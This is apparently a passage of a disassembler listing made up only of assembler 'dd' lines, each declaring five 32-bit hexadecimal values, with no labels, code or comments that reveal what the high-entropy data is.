		dd 7C4BE64Ch, 9E3A0636h, 4041EBB5h, 79003CF0h, 9C2E35B8h
		dd 0C172CFBAh, 0E0EF6E28h, 13408250h, 87416F3Ch, 0EA437D38h
		dd 335DBC7h, 0B0167420h, 52E01231h, 293885BBh, 93231FADh
		dd 7F15A480h, 6D36B8h, 531270B6h, 0C8BCF465h, 6A2C1100h
		dd 42B9EE1Ch, 5DB60579h, 0CE29E34h, 4D515144h, 0D98BD18h
		dd 3078F031h, 9C81B4C7h, 4E0F54C2h, 86743648h, 81853C0h
		dd 5898B312h, 0B0B7B102h, 95660044h, 0C4077AC3h, 0DCE7EB29h
		dd 834394AAh, 0EA300F6Ah, 14069C02h, 781F103Ah,	239B4CB7h
		dd 508CE170h, 0FC32D600h, 0CCF0FB28h, 37AE1610h, 55C1530Ch
		dd 27011AE8h, 7B31E86Ah, 0C0802ED3h, 106EF616h,	5B32542Dh
		dd 10132957h, 0E2892FF9h, 58441B08h, 706940FFh,	0F3C62C00h
		dd 18A24F52h, 0CC2A0085h, 975A58EDh, 1D007C21h,	0BFFAE6D5h
		dd 0CF8B93E3h, 0F720F8B4h, 4F8E4A01h, 0E8F44900h, 9DECBF5h
		dd 2FEB1EFAh, 0E5060025h, 0B287421Ch, 0A8FC2A77h, 2CD23E00h
		dd 0FEE62F68h, 497173h,	6354D012h, 6F23E807h, 374E210Ch
		dd 40E429CEh, 1300C9FCh, 0C636D8CFh, 13063DEh, 6BA14280h
		dd 0EC48D4A7h, 9E004012h, 154CCF95h, 50C49C2h, 0D7A66A2Dh
		dd 0DFE7C04Bh, 0E80084DDh, 0EE200A97h, 246B37A0h, 0E476F2h
		dd 0F6E37B63h, 5A000B12h, 0EE478287h, 7C9920h, 0F076FA9Eh
		dd 0DD6F92Bh, 0DD96B201h, 0EF6F9AA1h, 85E5DC41h, 0C573D8h
		dd 26924E70h, 8B35AD52h, 0DF03B101h, 32AE0841h,	9DD5E1D3h
		dd 0FC9A20h, 0D3427164h
		dd 9743FA2h, 486B6E1Fh,	22AA36C0h, 12401031h, 34D41Eh
		dd 0CC56E091h, 920702CAh, 0EE766148h, 0C6E17047h, 0E1E40762h
		dd 0D3CD0013h, 830634E7h, 1D00EF81h, 4D68B7EAh,	4295D0h
		dd 27099CC9h, 0A98AAB4Ch, 0E8F0F700h, 5985BA1Dh, 0FF1403D8h
		dd 0BAE0C66h, 8294C298h, 95249C70h, 9F004C35h, 53A2FE47h
		dd 1C1A1EBBh, 20BC069h,	7AB76316h, 41E8C190h, 7CF09C54h
		dd 82334600h, 22EEF2C4h, 0A0273885h, 70F93Ah, 17CC45B0h
		dd 2F6761EBh, 0EF1FE700h, 16C5962Ch, 66A90038h,	88C0201Bh
		dd 5F00DF32h, 0FF69CF25h, 374770Dh, 2E7AD8Ch, 400095F3h
		dd 35030AEEh, 671641CBh, 0C709205Bh, 65A880C5h,	0DC0111B9h
		dd 0AE0D4948h, 0DDF1268Bh, 7CF4BC71h, 7D4400BDh, 0A40D808h
		dd 2A7D82B4h, 0C73DA50Ch, 4F391Fh, 8754DD01h, 6EAA643Bh
		dd 0B79003FAh, 3AE6A900h, 4215E7C5h, 0FA7BB9h, 506601Eh
		dd 3E4EF0DAh, 0C0304Ch,	0B701E0B4h, 0B2E8BE6h, 0F7B6B98Ch
		dd 337E1000h, 0C100A085h, 1BAEC9F0h, 2A73708h, 0D20C3C34h
		dd 0F40060Bh, 10003D33h, 0CAE009D4h, 90E9ED1Dh,	12E100BCh
		dd 0A9585AD6h, 27F846D2h, 0FA52E401h, 64BC7A3Ch, 0EC48CBE0h
		dd 0E87E009Dh, 0FC3F0FE5h, 5AE01B41h, 94002490h, 4E20846Fh
		dd 0EBEDC49Fh, 8042B442h, 0AD0EA3B0h, 0E82400F5h, 1D8389AAh
		dd 31C0599Eh, 0E643C955h, 47250001h, 0D71A2834h, 0F730DB2Dh
		dd 4F7B34BFh, 41558DAh,	0EC4EC75h, 0EFF283F1h, 0BA1B59A0h
		dd 0E30079FBh, 1E54C1F4h, 337F8BBh, 2F87C288h, 749F05B3h
		dd 0AE089058h, 82003512h, 0AD14925Eh, 0E92A64h,	1EC55844h
		dd 2EDB3E79h, 0FF2D11Eh, 7F6E3B40h, 3FC152BFh, 0F80410DFh
		dd 8062E0ECh, 1A21DC54h, 0FD03B51Eh, 0D71D5BC0h, 789C43Ch
		dd 174C0E2Dh, 747DA213h, 432F45C1h, 908A58E4h, 8DC07448h
		dd 868A5100h, 53062BB7h, 52DF00FBh, 0B89198A2h,	0A61F3A80h
		dd 62D759CCh, 2081610Bh, 0C8410B88h, 0D23D00AEh, 4FE90D6Ah
		dd 0D80027E5h, 46EE92AAh, 0D728B0h, 0DE0113E0h,	0F0875721h
		dd 66403360h, 0CD0F0Bh,	6D7076C4h, 8E4DD9A3h, 25B98A00h
		dd 4E90C2B6h, 5244008Fh, 0E7D2207Dh, 98095556h,	80237B22h
		dd 925D3FF0h, 0A7650028h, 2B10904Fh, 5C008BFEh,	26E902B7h
		dd 29F6016h, 8EDD2F99h,	0D4606E71h, 8800816Dh, 90E5485Dh
		dd 9A6B974Ch, 9F6700DCh, 0A662CA6Ch, 80F23114h,	73CB9000h
		dd 0AB37DA18h, 1B9CA81Fh, 0E85900E0h, 247C64E1h, 83008E65h
		dd 45F3C17Bh, 7A331DBh,	0BD51A102h, 704750FAh, 0BA005EC6h
		dd 19DF5486h, 3F0C67F8h, 0CD9C13A6h, 80286CECh,	142F0EE1h
		dd 0B000B456h, 0C0181DEDh, 0AF3387h, 0BC57D2F8h, 3927AB12h
		dd 6F2D30CFh, 8C0380Ch,	0FC2100C1h, 3044713Ah, 7B1806ADh
		dd 98F8539Ah, 63863076h, 0A0965739h, 1003CB75h,	6479FEFFh
		dd 0AD6E8030h, 1E734C5Fh, 86B4BC00h, 0C938AE60h, 0EC394000h
		dd 55173A44h, 29E20143h, 0E11FC41Ch, 41C3D450h,	0A09B2100h
		dd 12CE7D33h, 68181DFDh, 5AB7C9B6h, 136DE410h, 0D88E350Bh
		dd 5FB10101h, 8ACC8CA6h, 0FFAA0B25h, 0C304C91Eh, 1B0880F8h
		dd 7C24A70Bh, 8F803C1Ah, 44B2050Fh, 4AF0032h, 0BBFADB99h
		dd 0B400233Ah, 0FBDE9401h, 2CC8F8B8h, 9D704802h, 0E985C6Eh
		dd 0D2C17249h, 0D09E4274h, 2449EDD4h, 51808C0h,	2F3060DFh
		dd 64004154h, 0C3273A5Fh, 9E1AB6Bh, 0EB28EC45h,	4220588Fh
		dd 74568CC8h, 0BA2C0300h, 5C982D20h, 0D39E004Bh, 0F0700139h
		dd 0BC004DC1h, 0ECF915E4h, 21F83B9h, 0AE719584h, 8C685222h
		dd 0AD7ADE3Ah, 0E2FCC000h, 962AB323h, 2CE3020Fh, 47B4D99Eh
		dd 290D6CC0h, 0F29A3240h, 8C5824CCh, 2380834Ch,	81EC36C6h
		dd 60C72A08h, 5402A17Ch, 4C1B19BCh, 83344A8Fh, 34A0AEh
		dd 6ECD2839h, 0DF96390Eh, 0A813F800h, 24E1ECB6h, 9847153h
		dd 0F6495989h, 5D58C440h, 0A8B849h, 8D2B86E8h, 0A4428Bh
		dd 1027F03Bh, 28D43370h, 7021A930h, 13B680A5h, 40BECE92h
		dd 5D3E1344h, 0DD002879h, 7366012Ch, 3A6B96h, 0C1F722E7h
		dd 0F086B358h, 0F520E900h, 82AF5CBDh, 1FEC01EBh, 0AA5FC2F2h
		dd 1580707Fh, 0B6648F01h, 31D4B3CCh, 80B0619Dh,	0F399A36h
		dd 510937BDh, 34C2F53h,	111FBA24h, 3C89DD10h, 9A3B0017h
		dd 5FA546F8h, 0FA623F6Bh, 740095BEh, 0F319EF3h,	30A0D7B3h
		dd 360E7681h, 80AFB037h, 0ABAA8464h, 65BA003Bh,	0EF518F5Bh
		dd 6D00A290h, 3553B2F3h, 60A05A64h, 747F39A7h, 0EF5D9414h
		dd 6E2D00C8h, 0FFB417F4h, 2C6F0655h, 616C5620h,	7FFC4Ch
		dd 25C1122Fh, 1A86FFh, 0C31E4A8Ah, 73572444h, 0CB202E00h
		dd 1C6A3223h, 0BDB00430h, 960C18E4h, 48DB818h, 32211A61h
		dd 2FFC1089h, 4795FC40h, 364B7B00h, 2A4A4FD4h, 0EA9A01EBh
		dd 0FC3B2376h, 96B19F40h, 0E4297DDBh, 1278D621h, 0AD9E212Ch
		dd 18113017h, 0FAE63Ch,	73CD15E9h, 7DB19h, 0CA16E09Ah
		dd 752D7B29h, 0E411A400h, 2B6A49CCh, 0CA7007Ah,	0B103D691h
		dd 2200BE15h, 40102CBBh, 2CC4CB6h, 59DF1374h, 0D050FBE3h
		dd 8086BC3Ah, 622D1194h, 0CF712C36h, 25A0BEF1h,	0B56E17C9h
		dd 0D9A78900h, 289CFE0Fh, 5BE300DAh, 45B8D362h,	552E7AF6h
		dd 6C00B4EDh, 1B9B7168h, 3A92385Fh, 3ED01500h, 0BF75A9DAh
		dd 4FFFA015h, 30C00ACh,	2A93D6FBh, 22D200FEh, 9E9D703Dh
		dd 0D7491711h, 0FAD512D4h, 72FC3CC8h, 0BC9204h,	18F4E8F0h
		dd 8B1CB122h, 135C880Fh, 0C742C337h, 8D1AF0ECh,	27CC2635h
		dd 58C00170h, 605A56B6h, 0C90078A4h, 76FBA90Eh,	3F9BD7Ch
		dd 3B8BE53Fh, 0A1C093C2h, 900FDECh, 77A5F805h, 40061Bh
		dd 0EAEB890Dh, 16BE31CBh, 9B9D621Dh, 6500D597h,	0C8ECCA94h
		dd 0C061F21h, 0E8398A41h, 0CE2D00B4h, 843B1068h, 0D8AD8D00h
		dd 6F9C7B36h, 31010032h, 0CE2C736Ch, 0E7FE8343h, 958F2500h
		dd 2EA14A64h, 2F2A33B2h, 54F02648h, 0E900F2CAh,	0EE80312Ch
		dd 0C1DF2Dh, 571715FAh,	0F01E09D7h, 0F702AE00h,	26B89DD4h
		dd 8FA9164Eh, 7F0D0035h, 8C3115E7h, 7882F601h, 6D0FC4Fh
		dd 3C0381C8h, 0C00D1B0h, 0EE49B1A2h, 3E0071C7h,	0AF65C0Eh
		dd 2E9A3206h, 58A470h, 7E9B0DD5h, 0C20901D2h, 2F41E277h
		dd 9B0016B4h, 0E906F6F0h, 46F9002Fh, 0C01BC955h, 830032A5h
		dd 7E805F12h, 4C042EFFh, 0D60D9EDEh, 0D4403497h, 5C007F7Bh
		dd 9D40E694h, 7DA9D3h, 35E99A5Eh, 7E9FF2A6h, 42545F00h
		dd 0D7E2108Dh, 88650046h, 0E5138B32h, 6D7FEFD6h, 57757819h
		dd 90700B6Ch, 67AC097Bh, 6841A9BCh, 2C082333h, 51841C3Dh
		dd 3881740Dh, 4424BF21h, 3C3449D9h, 44C04817h, 800CD498h
		dd 9F24094Ch, 7646C800h, 402EC6C9h, 0E74C0091h,	37D5CC18h
		dd 830563BFh, 14D936F8h, 0B4DE0DC0h, 57B704D6h,	0C2ED5E50h
		dd 679D28h, 2C192A59h, 0D8E50148h, 2B38AC67h, 1F9824h
		dd 0E3A4FCE4h, 1265D30Fh, 0D94AEC00h, 84A07304h, 0E8EF07DFh
		dd 12F0CB38h, 0C848A52Ch, 2000F7BBh, 8E24F8EEh,	283A818Bh
		dd 0E2F83260h, 2A5C04B8h, 0D1A430F4h, 205D9844h, 5124B07Eh
		dd 6BFCCA8h, 0AE53AA3Ch, 36A20111h, 0D0D273D8h,	80F7C5FFh
		dd 1BEBF319h, 0A7089Dh,	0DA16C34Bh, 11252FE5h, 0DC09BD06h
		dd 0A10E630h, 0D0BCE2Eh, 0DE8E38F8h, 0E8CEE326h, 8099F385h
		dd 0D17AE6C4h, 5D009190h
		dd 86514FBDh, 21EBEEh, 595CBBF6h, 7596891Ch, 27301678h
		dd 54AFF1BCh, 556930E5h, 51488C11h, 233BBB0Eh, 3A7C17h
		dd 0C75867A4h, 6BCA1Ah,	9F45D1A6h, 30B6293Ch, 9E6EBB0Ch
		dd 92A8A7h, 4FE9E52Eh, 275C2F9h, 0D53CAE04h, 0D987AD33h
		dd 0A544E8D0h, 8CD31E39h, 3DC0C026h, 97F8141Ch,	0BA086700h
		dd 16DA5783h, 0D0443CF7h, 0C4B1A6h, 0E9B0B9C9h,	6309ED7Ch
		dd 0A73EC1B6h, 0D252E6ECh, 8C604049h, 5C70B2F2h, 8420689Bh
		dd 865BBB00h, 98707105h, 0E5960053h, 0D9283FEFh, 2B1CD415h
		dd 0B8408732h, 0B45DB1F9h, 0B7FD5082h, 0EFB8C6h, 8CBD18F6h
		dd 0E8FEE452h, 0E0231A00h, 92D15177h, 7FD40081h, 0DD1EFC93h
		dd 940047F9h, 6B38D99Fh, 0E3A87983h, 3959D4DCh,	284DBF8Fh
		dd 67A3CE03h, 18A87C74h, 8100CBC5h, 0D1827665h,	7CACF0Dh
		dd 3C776678h, 0AA08C06Ah, 2D002E0Fh, 0B633A80h,	1E370EADh
		dd 0C2407A35h, 9B8179Fh, 64B31040h, 0CD0019F0h,	0AADC38D6h
		dd 24D4C274h, 8064A3EDh, 17DD99A1h, 5517B721h, 0C00045E6h
		dd 6A52BC93h, 0F83A0046h, 43E101F6h, 0BF0277CFh, 636CA516h
		dd 0B120E872h, 1237CC1h, 0ED22461h, 0E821D5B3h,	0D7031D57h
		dd 22D4AE0Bh, 0E087BBBEh, 259089h, 5E55C0F8h, 2093861Fh
		dd 1F8F55Ch, 61AF954h, 0A82028DFh, 2AE875D2h, 0EEE4FBFEh
		dd 0D6262603h, 2E068050h, 76988089h, 0B10556B0h, 6EC34732h
		dd 0E6241CA4h, 0B06400CDh, 3FF53EE0h, 6200CF0Fh, 0F142DCAEh
		dd 4AD20A3Bh, 38FC4761h, 4857D202h, 0F120C450h,	0B4EB3235h
		dd 0ECE07284h, 46747489h, 6C109510h, 10666278h,	202C7FE9h
		dd 590600EBh, 206C90C7h, 913C7E1Ch, 0C2248099h,	5C21D289h
		dd 7D4EF819h, 239400E9h, 35ED991Fh, 2705BD3Fh, 17F66C51h
		dd 0E86628D0h, 0EC84A8F3h, 609C0904h, 50484E76h, 0F006212h
		dd 0EFF1968Ch, 25147BCh, 0AEF5BB3Dh, 648436ADh,	54608D5h
		dd 0C04563D4h, 0B7AED6D8h, 801AB13Eh, 53730A4Eh, 2EEA2492h
		dd 0E47940h, 0FA76F216h, 0FCA97EFCh, 37A6E08Dh,	0A7EE5100h
		dd 5667B84Fh, 90C1E83Bh, 0EC253002h, 80769328h,	0A23C1903h
		dd 0E02696FBh, 0C0439740h, 3E656849h, 24E1BC22h, 1C6E6E88h
		dd 9E00BF48h, 0D45CFF77h, 0BBE30058h, 9307518Fh, 0D1C035D5h
		dd 98413455h, 31EA0DFCh, 0D0E41712h, 7028A62Dh,	192AC510h
		dd 0C900A41Fh, 0FB8A9F76h, 9034FC92h, 0DC0305F1h, 40F1B822h
		dd 0EB0C6CB0h, 52038837h, 0AFB2AE72h, 82401C77h, 0C04A1F9Eh
		dd 0A1EC627Ah, 72B01E94h, 769D140Fh, 7B150039h,	1759CC4h
		dd 0E478ED51h, 43FCF26Ch, 200F53D9h, 1FCCA70Dh,	2A07051Ch
		dd 34F065C3h, 0D9B351h,	2B5C42Ch, 62813A2Fh, 246C9316h
		dd 0E835040Ch, 0F76384F6h, 0F34E20B1h, 4615E0C6h, 0A81B075Fh
		dd 5CDE08h, 5922F4A9h, 4FF3C800h, 3A0FD315h, 325807BBh
		dd 0F2B73440h, 674023A9h, 0FB00D483h, 9712D5B9h, 1C63A71Ah
		dd 40C3F486h, 0C6D3B5F8h, 9D180699h, 0B730569Bh, 7AEA093Bh
		dd 0C30C7764h, 0FF528271h, 0AC0FA04h, 0E8BF4539h, 8313E41Fh
		dd 0D3981100h, 0E2DDB337h, 15A65C2Fh, 2CFB6700h, 24FAE88Ch
		dd 12FF8006h, 4229D4EFh, 0FCC711C9h, 9808E621h,	84B590D6h
		dd 0D248FE82h, 24D87142h, 0EC2E23A1h, 0BC42BE48h, 208D24DCh
		dd 812D0462h, 448E08AAh, 228479DEh, 96220888h, 0E4992223h
		dd 0F6116542h, 882210Eh, 5195E953h, 29103278h, 0EA1B106Eh
		dd 81083D89h, 845A1144h, 29899A7Ch, 13650408h, 140446F1h
		dd 1548EE0Ah, 1E508680h, 13BC341Bh, 836CCFh, 0BF3A1D61h
		dd 823B75C4h, 0F41E8066h, 61EF1B17h, 14E517BDh,	0F2200038h
		dd 1CEEBC64h, 0E4133273h, 801CF86h, 0DB6195F1h,	2ACAE0h
		dd 1D223757h, 0E8E687AFh, 0FC601F2Eh, 0C440123Ah, 0C200FF16h
		dd 5EE2234Eh, 9740703h,	41AD63D5h, 0F40C6FD3h, 4A002B3Ch
		dd 3E128415h, 0F03207h,	0F7303D3Bh, 2FDEF69Bh, 473C1B1Ch
		dd 1DC7BC1Eh, 11CC6E5Ah, 71E502B7h, 84FDE903h, 0EC0746E0h
		dd 6FC9502h, 403E7370h,	0FEA958h, 0F74B9AB0h, 10E0413Bh
		dd 402B3000h, 7E24FAFh,	2C4500C0h, 0D995F649h, 6C1C09ACh
		dd 1C5BA9A5h, 92B2B068h, 0B8FC88h, 4322DDD8h, 0DF6D9B0Ch
		dd 0D7BD941Dh, 5A43CB1Dh, 0C0541283h, 7B03405Ch, 255B0192h
		dd 3C855846h, 3D803209h, 0A2D500F8h, 3602D0C6h,	0CC3E3E35h
		dd 74689C80h, 0C98A78C0h, 8797FF13h, 0A0926B0Fh, 0E8BADE2Bh
		dd 0A64B0134h, 3A79C0D7h, 9F29E04Eh, 65170100h,	1362B3AFh
		dd 26470357h, 3355DF76h, 6512000h, 7E1B58B7h, 6B8A1DEDh
		dd 83895D13h, 0AF7488F4h, 0C16AF800h, 0E03AFF86h, 1C34F896h
		dd 47088D27h, 10AE0F91h, 8EC085BCh, 0A300C9E4h,	3D2E1390h
		dd 0A7BA3Ah, 0DD9360DBh, 0C3D75C10h, 9DD9CE0Eh,	0A3206773h
		dd 0DA68BA70h, 0BBA63CECh, 148061BDh, 0CFDD4AE8h, 5D4E67A4h
		dd 0B039F4B4h, 0DCC8002Eh, 0D9A053Fh, 0BE00370Fh, 950244D5h
		dd 3E34100Ch, 0BF077E84h, 31659D77h, 0CC0D56BCh, 6205987Ah
		dd 0E74CC679h, 0F1C07A87h, 4A06A7h, 0B13B5E16h,	7309CAAh
		dd 0EDBBBE00h, 0E0B24F0Ah, 69FD0BF5h, 7FE01E15h, 90000912h
		dd 442D98AAh, 0D48EB7h,	148666F4h, 22D9FC61h, 0A9ED4F00h
		dd 59CC306Dh, 17C70F6h,	7AA1629h, 0F8A2FC25h, 0C000E56Eh
		dd 0E9A595F5h, 418F749h, 4E1579CEh, 26B8D12Dh, 0ED8D703Bh
		dd 40DBC507h, 4524165Ch, 12925880h, 0E609002Fh,	17137CCEh
		dd 793AF201h, 0F80D80E2h, 85B48B97h, 0D5E33B39h, 6ED4808Ah
		dd 0B88F00D4h, 5D24BFB2h, 260022B8h, 0BC2B4B03h, 57BC9CBh
		dd 77E49380h, 6C1DC05Fh, 8CC99D7Eh, 6154001Bh, 238027Dh
		dd 58E3A040h, 3C40831Fh, 0E8005B56h, 0C1821E51h, 0EFC107Ah
		dd 19050BB8h, 0D44C40DEh, 180806B6h, 56030978h,	7B9A90CAh
		dd 24C09CD2h, 0F6AABFC5h, 0E6543C2Dh, 0AC8F01FAh, 1F621496h
		dd 18D42424h, 5D8C1304h, 34C0EC78h, 420222h, 0E080E3DDh
		dd 0AA2FF152h, 0A0C84950h, 96B0E500h, 970609AFh, 0B3B700A5h
		dd 0D67F2C1Eh, 3D008517h, 6CD0A601h, 1F1CCA0h, 0C0DC8653h
		dd 3065C17Dh, 80091D4h,	0EC754C1Eh, 0C5D28Ah, 1F84F254h
		dd 0AFFA8C03h, 8B495901h, 0FBB218Fh, 0F63030h, 0B9D14DE3h
		dd 0B160A06h, 0CB53C207h, 1EF011BFh, 5CB502h, 8B76A1C4h
		dd 0D0073110h, 0CE6DD50Eh, 634C3A9h, 0CC6F88D1h, 0B09C3873h
		dd 0BCFD00F4h, 0F1A7AEACh, 4300311Fh, 98B8E162h, 66DE93h
		dd 83658215h, 1BEC7CB4h, 0EF9FD207h, 79606788h,	24EECB5Ch
		dd 5485C9h, 56F2192Ah, 68980FFAh, 0C230F600h, 183DFD28h
		dd 0BDAE07DDh, 0E09C475Ch, 6E203E6Dh, 0CEC4FB03h, 0B3573691h
		dd 0F7380043h, 1964135Fh, 7700D399h, 0FA7BA4FFh, 4C5BE970h
		dd 57383455h, 61EB6B0Dh, 98FAEC11h, 7779CB1Ch, 94DB0980h
		dd 0C68AD3h, 510772C3h,	839D56F7h, 346FE800h, 0CDA8E44Dh
		dd 1D713BD3h, 0A6143D8Ch, 0A7006420h, 0C684601h, 3BF0A37h
		dd 7A4B977Dh, 8CC8A2BBh, 65043444h, 19C7C868h, 0DD016081h
		dd 986097F8h, 3F3900C8h, 7659E0A3h, 323F087Bh, 5AE1803Eh
		dd 2BD8DC30h, 31F90025h, 0D6B46CE0h, 0F83C2826h, 0AA76002Ah
		dd 0B19BBAB0h, 16609099h, 28CA9FA5h, 0DB09E384h, 208BA69Ah
		dd 0C4DA7F60h, 63BF247Bh, 4C460BE1h, 0B8C68001h, 49D3051h
		dd 0CC008B79h, 4A959D14h
		dd 0B0265C19h, 3E8C0088h, 4F1D74D2h, 0DC4C7EC8h, 1F7A0020h
		dd 0FD76D66Fh, 2834059Dh, 0B60463h, 1264F8D0h, 0C807A125h
		dd 0A8BFB5CDh, 0E08715A3h, 422A9Eh, 8BF780FEh, 7337A0B0h
		dd 786AC00h, 298D244Ch,	2C9883h, 0FB56116Ch, 5A2F9E8Fh
		dd 0B00BA90h, 0BD9B6444h, 789CDDB9h, 4F3300A0h,	740FCB70h
		dd 0A900CF54h, 55AE98BFh, 0AB0281h, 0B2D0E5AFh,	2883E869h
		dd 97006AE0h, 8077C2D5h, 602261h, 7AF1B1ECh, 5D6FACB7h
		dd 0FA009C58h, 0AE0EEE23h, 0A3610B8Bh, 0F8C95C54h, 0E048ECEh
		dd 1E4F8614h, 70E1780h,	2A0EEB3Eh, 0C05E399Fh, 97D8C656h
		dd 94374893h, 0EFB9850Fh, 0A2FBDBE1h, 3853CC48h, 34CA1800h
		dd 921114C6h, 8EDF04AFh, 813F2C74h, 0E4641FC8h,	6B00CB23h
		dd 528AE8D8h, 7B7C119h,	3C6202E7h, 0A0C0700Eh, 0F0013112h
		dd 0B508BEBh, 0D6DCA5E0h, 0F7413B81h, 124C0C80h, 0FFE4AD96h
		dd 0EFA0E201h, 492376FCh, 3D8F0F0h, 7CE39AB5h, 0DCB0C04Eh
		dd 0A903B8B0h, 0BA624BC9h, 92BEB0E1h, 0E9D700F7h, 54CBCA8Bh
		dd 6300ADFDh, 312E28F5h, 78B44D62h, 0EEB92629h,	6B9E44h
		dd 9EE4A73Eh, 8B01C564h, 37757FDAh, 0E0409B7Dh,	3119B8h
		dd 5FFCE815h, 2F2DB9E5h, 0F5DE1700h, 2CB4E264h,	0A4141F30h
		dd 97DF035Eh, 0DC98867Dh, 9AE62D36h, 99837800h,	70072CE6h
		dd 80EDF80Dh, 7F00F62Ah, 0E0BC3009h, 0C9533Dh, 0B69D9AD4h
		dd 625F0CC2h, 0A5C57801h, 0B5A2EE7Bh, 1295E70h,	0FA3A2453h
		dd 0D00A7DD0h, 0BE4C0212h, 176B0098h, 0A2C2637Ah, 0E0B843h
		dd 0E987DE95h, 5AC7CC8Ch, 0A04558h, 98C18108h, 7E0CD5B8h
		dd 10B507E6h, 0E050A1FDh, 0D7287F9Ch, 23FB7900h, 7AA06A71h
		dd 371200F1h, 739BA816h, 0C3007EC2h, 0B77C172Eh, 0A0ECB1h
		dd 75E53A54h, 155EAED4h, 2200B1B0h, 0B6AFC49h, 5C80BC1Ah
		dd 1C3EE6FFh, 400F469Dh, 22042DCEh, 87008935h, 0CC7915ECh
		dd 0C019DB9Ah, 0F677CF30h, 1007FDFh, 0F1449596h, 4C267279h
		dd 7B011B69h, 804BBCE5h, 0E0B9D052h, 53067E00h,	3DE6FC96h
		dd 88AD029Ah, 6DD6AE79h, 0DD8B00FDh, 700134A5h,	5B85385Ch
		dd 0B0A09079h, 0B49045h, 43F6694Dh, 84B7940Ch, 80574B3Dh
		dd 0AC971245h, 4E6A8Dh,	2FCC46F5h, 0C559B803h, 0B0CBD38h
		dd 1BB0120h, 3A14E690h,	137EECCCh, 2966DD7h, 8EE369B4h
		dd 798CAA30h, 177800E9h, 0EB6C5524h, 4D0030B2h,	52254E41h
		dd 0F03EFh, 71F709B7h, 49F32304h, 3D509E60h, 0AFA952h
		dd 0CCA1EDC4h, 1CFBC5A4h, 873D3271h, 29C38089h,	0E82B4ADCh
		dd 1E120F80h, 0E1860667h, 0FF3D10E9h, 0F30E8B53h, 9D7480CAh
		dd 657B94h, 43DD6626h, 0B58B6D7h, 2C197400h, 0A173C317h
		dd 933F0027h, 36AACA5Bh, 9D001BB9h, 1DF57FE6h, 0F6138C77h
		dd 7E75015Ah, 0E4357A0Bh, 87CD6048h, 9948D1E8h,	0BD0C00ACh
		dd 686CAA9Ch, 0CD4901FCh, 0B2EC5AC9h, 0C0B82529h, 8AFEE95Ch
		dd 0E394821Eh, 98DA2AC1h, 0A824817Ah, 92E50337h, 512D4B80h
		dd 0AC40EAF2h, 2B0041D6h, 0B5C31E22h, 0F7202E5h, 0DF96D1A4h
		dd 98778DE0h, 0D26FCD0h, 5039368h, 0DF02B8E7h, 4C6285A7h
		dd 0F3004055h, 0F2E50038h, 0FDE224BCh, 36004030h, 0DCA74134h
		dd 379AFB6h, 6D95F2E1h,	0D48B7E12h, 0BA941100h,	0B1E9A618h
		dd 7D15007Ch, 0FF82F504h, 0A3E22F7h, 84AB00C7h,	274F066Ch
		dd 21EF07BBh, 706D452Fh, 4D31430Ah, 0DF92F601h,	8950EA10h
		dd 0E4C77082h, 0F4601690h, 0C898E174h, 7811B760h, 2C432A4h
		dd 33502EE7h, 7C78A368h, 4D2AD50Ah, 6400D435h, 0B09BB3DCh
		dd 1CEC4C7Bh, 62EE6100h, 2839B603h, 0D80A4B2Ch,	0A0043F0Fh
		dd 9886EA16h, 5D1900ACh, 8D05445Bh, 0FD00AB97h,	97872F5h
		dd 0FD1E886h, 21420371h, 14204ECFh, 0A298D0ABh,	7DD83900h
		dd 0DDEFE629h, 0FD3C005Bh, 2768DAD9h, 0DB00A844h, 0C309DEB6h
		dd 0F67663h, 261D4D28h,	8CE681B3h, 573CBA07h, 0FBF0D2CBh
		dd 0EFA5E3h, 8F3F5CEBh,	0BA86F081h, 78610214h, 0D47200AEh
		dd 5A1D3DAAh, 0C33400C5h, 3012F9C8h, 0EC00FFBAh, 0F369AD89h
		dd 58AA8Bh, 33AEEFF0h, 95144A02h, 8536050Bh, 0BE20800Fh
		dd 5D547Bh, 0E7BB7CEEh,	0A6722BABh, 9C742090h, 69FE3900h
		dd 50AC56F9h, 47F20451h, 0C37260DEh, 0D9809DD8h, 0BE24ECBh
		dd 0A2D40F00h, 2D6DEDFAh, 0FB4401D3h, 0EF26F340h, 4B71D893h
		dd 42523F00h, 0DD5846CCh, 0CE90C2h, 0E5907DF3h,	0F43F8D85h
		dd 2B6F7300h, 91EE263h,	290E0006h, 8CED7E3Ch, 0CD004B75h
		dd 22F1E481h, 3DC47762h, 5E009EA4h, 74A9F6FFh, 40D6168Fh
		dd 8A6D5847h, 737C1520h, 3ACA0013h, 0B760148h, 0DC006F30h
		dd 69E52C9Fh, 7631F2E9h, 1720055h, 0C137949Eh, 1B142857h
		dd 0C040B826h, 0FF7AD422h, 23E7002Ah, 3AB28EE8h, 9700A99Bh
		dd 0E6B37CB0h, 66E0E3h,	1BE7372Eh, 120D67F1h, 9B5B4C00h
		dd 0FEDEB3AFh, 0B8EA4Dh, 0A699E5BAh, 0B287A95Ah, 790CD00h
		dd 66F481A2h, 42960EBCh, 0C13D38C7h, 2D56AD3h, 0CF3BE036h
		dd 0C6BCAC16h, 604B420Eh, 0EFF10DB5h, 97AE1E8Dh, 0F5CC0E9h
		dd 0D273C512h, 1D5AAC05h, 30C04650h, 41D3D0h, 4C6F788h
		dd 78215230h, 60401807h, 0B591431Eh, 0AAC8C1CEh, 334ADBh
		dd 637FDDB4h, 171E7C20h, 5A008E0Bh, 0B5AAE758h,	4AF6008Dh
		dd 0C6BE4902h, 0BA009AA5h, 6A015079h, 722E33h, 3B3E88F0h
		dd 61414539h, 0B5A07700h, 0DFC7EFABh, 325C0340h, 0D31182A9h
		dd 0B89A7390h, 0DEC6AD00h, 27046AC1h, 53AA1E01h, 48D30084h
		dd 98181B51h, 7EB58901h, 72AFDCA2h, 0B8E04830h,	1D5918C2h
		dd 41E261B8h, 577E35F0h, 30DBF00h, 0DB562A4Ch, 0CF38C0A1h
		dd 60C15449h, 4742B002h, 70CDB76Dh, 633BF6F4h, 72AE48ACh
		dd 1471D8F0h, 67812200h, 0CFC0D784h, 0E19600DCh, 0ACB2ED9Dh
		dd 4712D109h, 90800BFDh, 46FAF4h, 0B9C8A0D3h, 0F31A2B99h
		dd 287348h, 0C6C5CFA6h,	0F71767h, 36047B97h, 0D9AE4915h
		dd 7CFA5500h, 166C87EAh, 40CF006Ah, 0A5CB10E0h,	61399EF8h
		dd 0C2A5AAh, 0CFA7BE8Ch, 0D7E326ECh, 65F9007Ch,	0C0134F3Bh
		dd 320089E6h, 39DE84EEh, 529CB06h, 3C36194Ch, 8B26802Ah
		dd 157FA1A3h, 0AF515800h, 249A7097h, 6664002Ch,	91C8A2D0h
		dd 4400D21Fh, 79451DA3h, 205DC97h, 6D36890h, 7BE03236h
